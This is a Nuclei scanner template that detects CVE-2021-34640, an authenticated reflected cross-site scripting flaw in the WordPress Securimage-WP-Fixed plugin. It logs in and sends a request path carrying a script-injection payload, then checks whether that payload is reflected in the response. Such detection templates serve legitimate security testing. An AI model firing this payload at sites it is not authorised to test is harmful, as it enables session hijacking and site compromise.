id: CVE-2021-34640

info:
  name: WordPress Securimage-WP-Fixed <=3.5.4 - Cross-Site Scripting
  author: dhiyaneshDK
  severity: medium
  description: WordPress Securimage-WP-Fixed plugin 3.5.4 and prior contains a cross-site scripting vulnerability due to the use of $_SERVER['PHP_SELF'] in the ~/securimage-wp.php file, which allows attackers to inject arbitrary web scripts.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update the Securimage-WP-Fixed plugin to version 3.5.4 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/22017067-8675-4884-b976-d7f5a71279d2
    - https://www.wordfence.com/vulnerability-advisories/#CVE-2021-34640
    - https://plugins.trac.wordpress.org/browser/securimage-wp-fixed/trunk/securimage-wp.php#L628
    - https://nvd.nist.gov/vuln/detail/CVE-2021-34640
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-34640
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45185
    cpe: cpe:2.3:a:securimage-wp-fixed_project:securimage-wp-fixed:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: securimage-wp-fixed_project
    product: securimage-wp-fixed
    framework: wordpress
  tags: cve2021,cve,wpscan,wordpress,wp-plugin,authenticated,securimage-wp-fixed_project

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET //wp-admin/options-general.php/"></script><script>alert(document.domain)</script>/script%3E?page=securimage-wp-options%2F HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f71f4027e35181f2336f1a5f0c7fa04fd40c25ca4ea1749124253649571d1d09022100a95ccf3acc3d6ad779d55f0e9ae4ce0735927cbfd3a5aa7f9b2350c68169ee4d:922c64590222798bb761d5b6d8e72950